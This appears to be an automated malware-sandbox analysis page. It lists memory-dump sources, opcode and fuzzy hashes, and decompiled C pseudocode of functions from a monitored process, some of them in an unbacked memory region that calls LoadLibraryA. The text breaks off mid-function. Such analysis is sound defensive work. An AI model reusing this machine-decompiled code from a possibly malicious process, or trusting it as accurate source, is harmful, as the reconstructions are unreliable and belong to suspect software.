0x1e3f9afd
0x1e3f9b02
0x1e3a84da
0x1e3a84df
0x1e3a84df
0x1e3a86fa
0x1e3a86fd
0x1e3a86fe
0x1e3a8701
0x1e3a8706
0x1e3a8709
0x1e3a870b
0x00000000
0x00000000
0x1e3a8711
0x1e3a8725
0x1e3a8727
0x1e3a872a
0x1e3a872c
0x1e3f9af0
0x1e3f9af5
0x1e3a8732
0x1e3a8732
0x1e3a8732
0x1e3a8735
0x1e3a8737
0x1e3a8515
0x1e3a8515
0x1e3a8518
0x1e3a851d
0x1e3a8523
0x1e3a8527
0x1e3a852b
0x1e3a8537
0x1e3a8539
0x1e3a853c
0x1e3a853e
0x1e3a868c
0x1e3a8691
0x1e3a8699
0x1e3a869b
0x1e3a8744
0x1e3a8748
0x1e3a86a1
0x1e3a86a1
0x1e3a86a1
0x1e3a86a4
0x1e3a86a8
0x1e3f9bdf
0x1e3f9bdf
0x1e3a86ae
0x1e3a86b0
0x00000000
0x1e3a86b6
0x00000000
0x1e3f9be9
0x1e3a86b0
0x1e3a8544
0x1e3a854a
0x1e3a854d
0x1e3a8551
0x1e3a876e
0x1e3a8778
0x1e3a877b
0x1e3a8780
0x1e3a8557
0x1e3a8557
0x1e3a855d
0x1e3a855d
0x1e3a856b
0x1e3a856e
0x1e3a8570
0x1e3a8573
0x1e3a8576
0x1e3a8576
0x1e3a8579
0x1e3a857b
0x00000000
0x00000000
0x1e3a8581
0x1e3a85a0
0x1e3a85a2
0x1e3a85a5
0x1e3a85a7
0x1e3f9b1b
0x1e3f9b1b
0x1e3a862e
0x1e3a862e
0x1e3a8631
0x1e3a8631
0x1e3a8634
0x1e3a8636
0x1e3a8669
0x1e3a8669
0x1e3a866b
0x1e3f9bbf
0x1e3f9bc4
0x1e3f9bc8
0x1e3f9bce
0x1e3f9bce
0x1e3a8671
0x1e3a8671
0x1e3a8674
0x1e3a8676
0x1e3f9bae
0x1e3f9bae
0x1e3a8676
0x1e3a867c
0x1e3a867e
0x1e3a8688
0x1e3a8688
0x00000000
0x1e3a867e
0x1e3a8638
0x1e3a8638
0x1e3a863b
0x1e3a863e
0x1e3a863f
0x1e3a8642
0x1e3a8645
0x1e3a8648
0x1e3a864d
0x1e3f9b69
0x1e3f9b6e
0x1e3f9b7b
0x1e3f9b81
0x1e3f9b85
0x1e3f9b89
0x1e3f9ba7
0x1e3f9b8b
0x1e3f9b91
0x1e3f9b9a
0x1e3f9b9f
0x1e3f9b9f
0x1e3a8788
0x1e3a878d
0x1e3a8763
0x1e3a8763
0x1e3a8766
0x00000000
0x1e3a8766
0x1e3f9b70
0x00000000
0x1e3f9b70
0x1e3a8656
0x1e3a865a
0x1e3a865c
0x1e3a8752
0x1e3a8756
0x00000000
0x00000000
0x1e3a875e
0x00000000
0x1e3a875e
0x1e3a8662
0x1e3a8662
0x1e3a8662
0x1e3a8666
0x00000000
0x1e3a8666
0x1e3a85b7
0x1e3a85b9
0x1e3a85bc
0x1e3a85bf
0x1e3a85cc
0x1e3a85d1
0x1e3a85d4
0x1e3a85db
0x1e3a85de
0x1e3a85e0
0x1e3f9b5f
0x00000000
0x1e3f9b5f
0x1e3a85e6
0x1e3a85ea
0x1e3a86c3
0x1e3a86c5
0x1e3a86c8
0x1e3a86ca
0x1e3f9b16
0x00000000
0x1e3f9b16
0x1e3a86d6
0x1e3a85f6
0x1e3a85f6
0x1e3a85f9
0x1e3a8602
0x1e3a8606
0x1e3a860a
0x1e3a860b
0x1e3a860e
0x1e3a8611
0x00000000
0x1e3a8611
0x1e3a85f3
0x00000000
0x1e3a85f3
0x1e3a8619
0x1e3a861e
0x1e3a861e
0x1e3a8621
0x1e3a8622
0x1e3a8623
0x1e3a8625
0x1e3a862c
0x00000000
0x1e3a873d
0x00000000
0x1e3a873d
0x1e3a8737
0x1e3a850f
0x1e3a8512
0x00000000
0x1e3a8512
0x00000000
0x1e3a84d6

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90e665d8173c48f9e63ffa0460a70b91c2e7505838f190b42cff0106cfd848ee
Instruction ID: a6803f93cbab74842afc866ca2d6ecffd0c995c57950582653e7833395840671
Opcode Fuzzy Hash: 90e665d8173c48f9e63ffa0460a70b91c2e7505838f190b42cff0106cfd848ee
Instruction Fuzzy Hash: 0DB14674E00249DBDB15CFE9C988A9DFBBAFF88304F14462AE605EB255D731A885CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00562AD1, Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d95d71bf0f1cfbf5e08193d350f725477aa2275cee5bde05ada71d6f91b988c1
Instruction ID: a10a79f1dab72b3bbad56f9df5f62bc488b524a698bd76f54945e59bfa338890
Opcode Fuzzy Hash: d95d71bf0f1cfbf5e08193d350f725477aa2275cee5bde05ada71d6f91b988c1
Instruction Fuzzy Hash: 2B9177B024070AAFEF205E64CD89BE93F62FF59354F604529FD86972C1C7B988C89B40

Uniqueness

Uniqueness Score: -1.00%

Function 00562AB2, Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7cbdbe25e923e16a02c6b0b75ce3e9d4a0f3464fe2f8e46960ac05e13597f3f4
Instruction ID: 0d817ed257af5180301e6167afff81aba46a15280c4f2609d29c1ce1103a5716
Opcode Fuzzy Hash: 7cbdbe25e923e16a02c6b0b75ce3e9d4a0f3464fe2f8e46960ac05e13597f3f4
Instruction Fuzzy Hash: A39187B024070AAFEF205E54CC997E93F62FF5A354F644525FD86972C1C7B988C89B40

Uniqueness

Uniqueness Score: -1.00%

Function 00562AE5, Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b0e9c3c259c127d9be8187e31d5d25e18afe2c88b59eba26fc1e0b8a7f65bd0c
Instruction ID: 909de3c2b36e74e6ae1366015096b09d73c1b5fdfa1ad6242068eed373d50660
Opcode Fuzzy Hash: b0e9c3c259c127d9be8187e31d5d25e18afe2c88b59eba26fc1e0b8a7f65bd0c
Instruction Fuzzy Hash: 579178B024070AAFFF215E14CD897E93F62FF5A354F604525FD869B281C7B988C89B41

Uniqueness

Uniqueness Score: -1.00%

Function 00562B1D, Relevance: .3, Instructions: 268libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b22e34dc9b6bd8c16dd783b6dbbccbe2cbf6ef4cb5e4e0f3b05cddc150fe7b90
Instruction ID: 6959aebfa691dc68da19a69f5afb4938e66c810869bf23b2cd5b1946ed9f6dbe
Opcode Fuzzy Hash: b22e34dc9b6bd8c16dd783b6dbbccbe2cbf6ef4cb5e4e0f3b05cddc150fe7b90
Instruction Fuzzy Hash: AC9167B024070AAFEF215E14CC99BE93F62FF5A354F244529FD869B2C1C7B988C89740

Uniqueness

Uniqueness Score: -1.00%

Function 00562B67, Relevance: .3, Instructions: 258libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f58e9213d4cf877b8bd6fbd10c89e6b9d7d851a8b8f68fe498f28cbb40aa4934
Instruction ID: 255c30e8e7666bf027d32104ce98d97234dabbbbaa781911c28fd4e2ac237df1
Opcode Fuzzy Hash: f58e9213d4cf877b8bd6fbd10c89e6b9d7d851a8b8f68fe498f28cbb40aa4934
Instruction Fuzzy Hash: 318177B024070AAFEF201E14CC997EA3F62FF5A364F644529FD829B2C1C7B588C89741

Uniqueness

Uniqueness Score: -1.00%

Function 00562BE4, Relevance: .2, Instructions: 229libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 740143d36d3656332930efbebf2bd89d0b45a3d86d06951aa444b2684cd76546
Instruction ID: 62d77c4a488cfe5598276d2b859d940df8ac69944667df179f9599cfbd2657bf
Opcode Fuzzy Hash: 740143d36d3656332930efbebf2bd89d0b45a3d86d06951aa444b2684cd76546
Instruction Fuzzy Hash: CA7143B024070AAFFF215E14CC99BEA3E62FF59354F204525FD869B2C1C7B999C89B41

Uniqueness

Uniqueness Score: -1.00%

Function 1E39C600, Relevance: .2, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E1E39C600(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v1036;
				signed int _v1040;
				char _v1048;
				signed int _v1052;
				signed char _v1056;
				void* _v1058;
				char _v1060;
				signed int _v1064;
				void* _v1068;
				intOrPtr _v1072;
				void* _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t70;
				intOrPtr _t72;
				signed int _t74;
				intOrPtr _t77;
				signed int _t78;
				signed int _t81;
				void* _t101;
				signed int _t102;
				signed int _t107;
				signed int _t109;
				signed int _t110;
				signed char _t111;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				intOrPtr _t116;
				void* _t117;
				char _t118;
				void* _t120;
				char _t121;
				signed int _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x1e48d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E1E3A6D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E1E3DB640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					__eflags = _t107;
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t72 =  *0x1e487b9c; // 0x0
					_t74 = L1E3B4620(_t107, _t107, _t72 + 0x180000, _t121);
					_v1064 = _t74;
					__eflags = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1060);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1048);
					_push(_t116);
					_t122 = E1E3D9650();
					__eflags = _t122;
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						__eflags = _t114;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *(_t102 + 4);
							__eflags = _t109 - 3;
							if(_t109 == 3) {
								L55:
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									L59:
									_t122 = 0xc0000024;
									L15:
									_t78 = _v1052;
									__eflags = _t78;
									if(_t78 != 0) {
										L1E3B77F0( *( *[fs:0x30] + 0x18), 0, _t78);
									}
									_t68 = _t122;
									goto L4;
								}
								_t110 = _v1056;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1060 = _t118;
								__eflags = _t110;
								if(_t110 == 0) {
									L10:
									_t122 = 0x80000005;
									L11:
									_t81 = _v1040;
									__eflags = _t81;
									if(_t81 == 0) {
										goto L15;
									}
									__eflags = _t122;
									if(_t122 >= 0) {
										L14:
										 *_t81 = _t118;
										goto L15;
									}
									__eflags = _t122 - 0x80000005;
									if(_t122 != 0x80000005) {
										goto L15;
									}
									goto L14;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t77;
								if( *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								}
								_push( *((intOrPtr*)(_t102 + 8)));
								_t59 = _t102 + 0xc; // 0xc
								_push(_t110);
								L54:
								E1E3DF3E0();
								_t125 = _t125 + 0xc;
								goto L11;
							}
							__eflags = _t109 - 7;
							if(_t109 == 7) {
								goto L55;
							}
							_t118 = 4;
							__eflags = _t109 - _t118;
							if(_t109 != _t118) {
								__eflags = _t109 - 0xb;
								if(_t109 != 0xb) {
									__eflags = _t109 - 1;
									if(_t109 == 1) {
										__eflags = _t114 - _t118;
										if(_t114 != _t118) {
											_t118 =  *((intOrPtr*)(_t102 + 8));
											_v1060 = _t118;
											__eflags = _t118 - _t77;
											if(_t118 > _t77) {
												goto L10;
											}
											_push(_t118);
											_t56 = _t102 + 0xc; // 0xc
											_push(_v1056);
											goto L54;
										}
										__eflags = _t77 - _t118;
										if(_t77 != _t118) {
											L34:
											_t122 = 0xc0000004;
											goto L15;
										}
										_t111 = _v1056;
										__eflags = _t111 & 0x00000003;
										if((_t111 & 0x00000003) == 0) {
											_v1060 = _t118;
											__eflags = _t111;
											if(__eflags == 0) {
												goto L10;
											}
											_t42 = _t102 + 0xc; // 0xc
											 *((intOrPtr*)(_t125 + 0x20)) = _t42;
											_v1048 =  *((intOrPtr*)(_t102 + 8));
											_push(_t111);
											 *((short*)(_t125 + 0x22)) =  *((intOrPtr*)(_t102 + 8));
											_push(0);
											_push( &_v1048);
											_t122 = E1E3D13C0(_t102, _t118, _t122, __eflags);
											L44:
											_t118 = _v1072;
											goto L11;
										}
										_t122 = 0x80000002;
										goto L15;
									}
									_t122 = 0xc0000024;
									goto L44;
								}
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									goto L59;
								}
								_t118 = 8;
								__eflags = _t77 - _t118;
								if(_t77 != _t118) {
									goto L34;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
								if( *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								}
								_t112 = _v1056;
								_v1060 = _t118;
								__eflags = _t112;
								if(_t112 == 0) {
									goto L10;
								}
								 *_t112 =  *((intOrPtr*)(_t102 + 0xc));
								 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
								goto L11;
							}
							__eflags = _t114 - _t118;
							if(_t114 != _t118) {
								goto L59;
							}
							__eflags = _t77 - _t118;
							if(_t77 != _t118) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
							if( *((intOrPtr*)(_t102 + 8)) != _t118) {
								goto L34;
							}
							_t113 = _v1056;
							_v1060 = _t118;
							__eflags = _t113;
							if(_t113 == 0) {
								goto L10;
							}
							 *_t113 =  *((intOrPtr*)(_t102 + 0xc));
							goto L11;
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						__eflags = _t118 - _a20;
						if(_t118 <= _a20) {
							_t114 =  *(_t102 + 4);
							_t77 = _t118;
							goto L26;
						}
						_v1060 = _t118;
						goto L10;
					}
					__eflags = _t122 - 0x80000005;
					if(_t122 != 0x80000005) {
						goto L15;
					}
					L1E3B77F0( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1060;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E1E3D9650();
				if(_t122 >= 0) {
					__eflags = 0;
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x1e39c608
0x1e39c615
0x1e39c625
0x1e39c62d
0x1e39c635
0x1e39c640
0x1e39c680
0x1e39c687
0x1e39c688
0x1e39c689
0x1e39c694
0x1e39c694
0x1e39c642
0x1e39c64a
0x1e39c697
0x1e407a25
0x1e407a2b
0x1e407a2e
0x1e407a30
0x1e407bea
0x1e407bea
0x00000000
0x1e407bea
0x1e407a36
0x1e407a43
0x1e407a48
0x1e407a4c
0x1e407a4e
0x00000000
0x00000000
0x1e407a58
0x1e407a5a
0x1e407a5b
0x1e407a5c
0x1e407a5d
0x1e407a63
0x1e407a64
0x1e407a6a
0x1e407a6c
0x1e407a6e
0x1e4079cb
0x1e4079cb
0x1e4079ce
0x1e4079d0
0x1e407a98
0x1e407a9b
0x1e407a9b
0x1e407a9e
0x1e407aa1
0x1e407bbe
0x1e407bbe
0x1e407bc0
0x1e407be0
0x1e407be0
0x1e407a01
0x1e407a01
0x1e407a05
0x1e407a07
0x1e407a15
0x1e407a15
0x1e407a1a
0x00000000
0x1e407a1a
0x1e407bc2
0x1e407bc6
0x1e407bc9
0x1e407bcd
0x1e407bcf
0x1e4079e6
0x1e4079e6
0x1e4079eb
0x1e4079eb
0x1e4079ef
0x1e4079f1
0x00000000
0x00000000
0x1e4079f3
0x1e4079f5
0x1e4079ff
0x1e4079ff
0x00000000
0x1e4079ff
0x1e4079f7
0x1e4079fd
0x00000000
0x00000000
0x00000000
0x1e4079fd
0x1e407bd5
0x1e407bd8
0x00000000
0x00000000
0x1e407ba9
0x1e407bac
0x1e407bb0
0x1e407bb1
0x1e407bb1
0x1e407bb6
0x00000000
0x1e407bb6
0x1e407aa7
0x1e407aaa
0x00000000
0x00000000
0x1e407ab2
0x1e407ab3
0x1e407ab5
0x1e407aec
0x1e407aef
0x1e407b25
0x1e407b28
0x1e407b62
0x1e407b64
0x1e407b8f
0x1e407b92
0x1e407b96
0x1e407b98
0x00000000
0x00000000
0x1e407b9e
0x1e407b9f
0x1e407ba3
0x00000000
0x1e407ba3
0x1e407b66
0x1e407b68
0x1e407ae2
0x1e407ae2
0x00000000
0x1e407ae2
0x1e407b6e
0x1e407b72
0x1e407b75
0x1e407b81
0x1e407b85
0x1e407b87
0x00000000
0x00000000
0x1e407b31
0x1e407b34
0x1e407b3c
0x1e407b45
0x1e407b46
0x1e407b4f
0x1e407b51
0x1e407b57
0x1e407b59
0x1e407b59
0x00000000
0x1e407b59
0x1e407b77
0x00000000
0x1e407b77
0x1e407b2a
0x00000000
0x1e407b2a
0x1e407af1
0x1e407af3
0x00000000
0x00000000
0x1e407afb
0x1e407afc
0x1e407afe
0x00000000
0x00000000
0x1e407b00
0x1e407b03
0x00000000
0x00000000
0x1e407b05
0x1e407b09
0x1e407b0d
0x1e407b0f
0x00000000
0x00000000
0x1e407b18
0x1e407b1d
0x00000000
0x1e407b1d
0x1e407ab7
0x1e407ab9
0x00000000
0x00000000
0x1e407abf
0x1e407ac1
0x00000000
0x00000000
0x1e407ac3
0x1e407ac6
0x00000000
0x00000000
0x1e407ac8
0x1e407acc
0x1e407ad0
0x1e407ad2
0x00000000
0x00000000
0x1e407adb
0x00000000
0x1e407adb
0x1e4079d6
0x1e4079d9
0x1e4079dc
0x1e407a91
0x1e407a94
0x00000000
0x1e407a94
0x1e4079e2
0x00000000
0x1e4079e2
0x1e407a74
0x1e407a7a
0x00000000
0x00000000
0x1e407a8a
0x1e407a21
0x1e407a21
0x00000000
0x1e407a21
0x1e39c650
0x1e39c651
0x1e39c656
0x1e39c65c
0x1e39c65d
0x1e39c663
0x1e39c664
0x1e39c66a
0x1e39c66e
0x1e4079c5
0x1e4079c7
0x00000000
0x1e4079c7
0x1e39c67a
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2efaf68243f05215aed3ef574987767402db2aa3a9db63f88a679b0430cbec5e
Instruction ID: f64ee415edb32971a23c9fa1c74652e0dceba1c94197b3a7bc61b5197975faa6
Opcode Fuzzy Hash: 2efaf68243f05215aed3ef574987767402db2aa3a9db63f88a679b0430cbec5e
Instruction Fuzzy Hash: C381AA756142828BDB11EE14C894BABB3AAFB84354F154A3BFD458B344D330ED41CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 1E416DC9, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E1E416DC9(signed int __ecx, void* __edx) {
				unsigned int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				void* _t87;
				void* _t95;
				signed char* _t96;
				signed int _t107;
				signed int _t136;
				signed char* _t137;
				void* _t157;
				void* _t161;
				void* _t167;
				intOrPtr _t168;
				void* _t174;
				void* _t175;
				signed int _t176;
				void* _t177;

				_t136 = __ecx;
				_v44 = 0;
				_t167 = __edx;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v60 = 0;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v16 = __ecx;
				_t87 = L1E3B4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0x248);
				_t175 = _t87;
				if(_t175 != 0) {
					_t11 = _t175 + 0x30; // 0x30
					 *((short*)(_t175 + 6)) = 0x14d4;
					 *((intOrPtr*)(_t175 + 0x20)) =  *((intOrPtr*)(_t167 + 0x10));
					 *((intOrPtr*)(_t175 + 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t167 + 8)) + 0xc));
					 *((intOrPtr*)(_t175 + 0x28)) = _t136;
					 *((intOrPtr*)(_t175 + 0x2c)) =  *((intOrPtr*)(_t167 + 0x14));
					E1E416B4C(_t167, _t11, 0x214,  &_v8);
					_v12 = _v8 + 0x10;
					_t95 = E1E3B7D50();
					_t137 = 0x7ffe0384;
					if(_t95 == 0) {
						_t96 = 0x7ffe0384;
					} else {
						_t96 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t175);
					_push(_v12);
					_push(0x402);
					_push( *_t96 & 0x000000ff);
					E1E3D9AE0();
					_t87 = L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t175);
					_t176 = _v16;
					if((_t176 & 0x00000100) != 0) {
						_push( &_v36);
						_t157 = 4;
						_t87 = E1E41795D( *((intOrPtr*)(_t167 + 8)), _t157);
						if(_t87 >= 0) {
							_v24 = E1E41795D( *((intOrPtr*)(_t167 + 8)), 1,  &_v44);
							_v28 = E1E41795D( *((intOrPtr*)(_t167 + 8)), 0,  &_v60);
							_push( &_v52);
							_t161 = 5;
							_t168 = E1E41795D( *((intOrPtr*)(_t167 + 8)), _t161);
							_v20 = _t168;
							_t107 = L1E3B4620( *[fs:0x30],  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xca0);
							_v16 = _t107;
							if(_t107 != 0) {
								_v8 = _v8 & 0x00000000;
								 *(_t107 + 0x20) = _t176;
								 *((short*)(_t107 + 6)) = 0x14d5;
								_t47 = _t107 + 0x24; // 0x24
								_t177 = _t47;
								E1E416B4C( &_v36, _t177, 0xc78,  &_v8);
								_t51 = _v8 + 4; // 0x4
								_t178 = _t177 + (_v8 >> 1) * 2;
								_v12 = _t51;
								E1E416B4C( &_v44, _t177 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_v12 = _v12 + _v8;
								E1E416B4C( &_v60, _t178 + (_v8 >> 1) * 2, 0xc78,  &_v8);
								_t125 = _v8;
								_v12 = _v12 + _v8;
								E1E416B4C( &_v52, _t178 + (_v8 >> 1) * 2 + (_v8 >> 1) * 2, 0xc78 - _v8 - _v8 - _t125,  &_v8);
								_t174 = _v12 + _v8;
								if(E1E3B7D50() != 0) {
									_t137 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
								}
								_push(_v16);
								_push(_t174);
								_push(0x402);
								_push( *_t137 & 0x000000ff);
								E1E3D9AE0();
								L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v16);
								_t168 = _v20;
							}
							_t87 = L1E3B2400( &_v36);
							if(_v24 >= 0) {
								_t87 = L1E3B2400( &_v44);
							}
							if(_t168 >= 0) {
								_t87 = L1E3B2400( &_v52);
							}
							if(_v28 >= 0) {
								return L1E3B2400( &_v60);
							}
						}
					}
				}
				return _t87;
			}

0x1e416dd4
0x1e416dde
0x1e416de1
0x1e416de3
0x1e416de6
0x1e416de9
0x1e416dec
0x1e416def
0x1e416df2
0x1e416df5
0x1e416dfe
0x1e416e04
0x1e416e09
0x1e416e0d
0x1e416e18
0x1e416e1b
0x1e416e22
0x1e416e2d
0x1e416e30
0x1e416e36
0x1e416e42
0x1e416e4d
0x1e416e50
0x1e416e55
0x1e416e5c
0x1e416e6e
0x1e416e5e
0x1e416e67
0x1e416e67
0x1e416e73
0x1e416e74
0x1e416e77
0x1e416e7c
0x1e416e7d
0x1e416e8e
0x1e416e93
0x1e416e9c
0x1e416ea8
0x1e416eab
0x1e416eac
0x1e416eb3
0x1e416ecd
0x1e416edc
0x1e416ee2
0x1e416ee5
0x1e416ef2
0x1e416efb
0x1e416f01
0x1e416f06
0x1e416f0b
0x1e416f11
0x1e416f1a
0x1e416f22
0x1e416f26
0x1e416f26
0x1e416f33
0x1e416f41
0x1e416f44
0x1e416f47
0x1e416f54
0x1e416f65
0x1e416f77
0x1e416f7c
0x1e416f82
0x1e416f91
0x1e416f99
0x1e416fa3
0x1e416fae
0x1e416fae
0x1e416fba
0x1e416fbb
0x1e416fbc
0x1e416fc1
0x1e416fc2
0x1e416fd3
0x1e416fd8
0x1e416fd8
0x1e416fdf
0x1e416fe8
0x1e416fee
0x1e416fee
0x1e416ff5
0x1e416ffb
0x1e416ffb
0x1e417004
0x00000000
0x1e41700a
0x1e417004
0x1e416eb3
0x1e416e9c
0x1e417015

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction ID: 65607488104dc38f2b5dfc68e9d812f9c91da10ee601350d6d014c4f5b5fd4f4
Opcode Fuzzy Hash: 14c8b9f4068581bf64678a8c47a68024946722c1230469e973f7e326b4b11c8c
Instruction Fuzzy Hash: 8C717B75E00259EFCB01CFA4C984AEEBBB9FF48704F10466AE505AB650DB34FA41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E42B8D0, Relevance: .2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E1E42B8D0(void* __edx, intOrPtr _a4, intOrPtr _a8, signed char _a12, signed int** _a16) {
				char _v8;
				signed int _v12;
				signed int _t80;
				signed int _t83;
				intOrPtr _t89;
				signed int _t92;
				signed char _t106;
				signed int* _t107;
				intOrPtr _t108;
				intOrPtr _t109;
				signed int _t114;
				void* _t115;
				void* _t117;
				void* _t119;
				void* _t122;
				signed int _t123;
				signed int* _t124;

				_t106 = _a12;
				if((_t106 & 0xfffffffc) != 0) {
					return 0xc000000d;
				}
				if((_t106 & 0x00000002) != 0) {
					_t106 = _t106 | 0x00000001;
				}
				_t109 =  *0x1e487b9c; // 0x0
				_t124 = L1E3B4620(_t109 + 0x140000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t109 + 0x140000, 0x424 + (_a8 - 1) * 0xc);
				if(_t124 != 0) {
					 *_t124 =  *_t124 & 0x00000000;
					_t124[1] = _t124[1] & 0x00000000;
					_t124[4] = _t124[4] & 0x00000000;
					if( *((intOrPtr*)( *[fs:0x18] + 0xf9c)) == 0) {
						L13:
						_push(_t124);
						if((_t106 & 0x00000002) != 0) {
							_push(0x200);
							_push(0x28);
							_push(0xffffffff);
							_t122 = E1E3D9800();
							if(_t122 < 0) {
								L33:
								if((_t124[4] & 0x00000001) != 0) {
									_push(4);
									_t64 =  &(_t124[1]); // 0x4
									_t107 = _t64;
									_push(_t107);
									_push(5);
									_push(0xfffffffe);
									E1E3D95B0();
									if( *_t107 != 0) {
										_push( *_t107);
										E1E3D95D0();
									}
								}
								_push(_t124);
								_push(0);
								_push( *((intOrPtr*)( *[fs:0x30] + 0x18)));
								L37:
								L1E3B77F0();
								return _t122;
							}
							_t124[4] = _t124[4] | 0x00000002;
							L18:
							_t108 = _a8;
							_t29 =  &(_t124[0x105]); // 0x414
							_t80 = _t29;
							_t30 =  &(_t124[5]); // 0x14
							_t124[3] = _t80;
							_t123 = 0;
							_t124[2] = _t30;
							 *_t80 = _t108;
							if(_t108 == 0) {
								L21:
								_t112 = 0x400;
								_push( &_v8);
								_v8 = 0x400;
								_push(_t124[2]);
								_push(0x400);
								_push(_t124[3]);
								_push(0);
								_push( *_t124);
								_t122 = E1E3D9910();
								if(_t122 != 0xc0000023) {
									L26:
									if(_t122 != 0x106) {
										L40:
										if(_t122 < 0) {
											L29:
											_t83 = _t124[2];
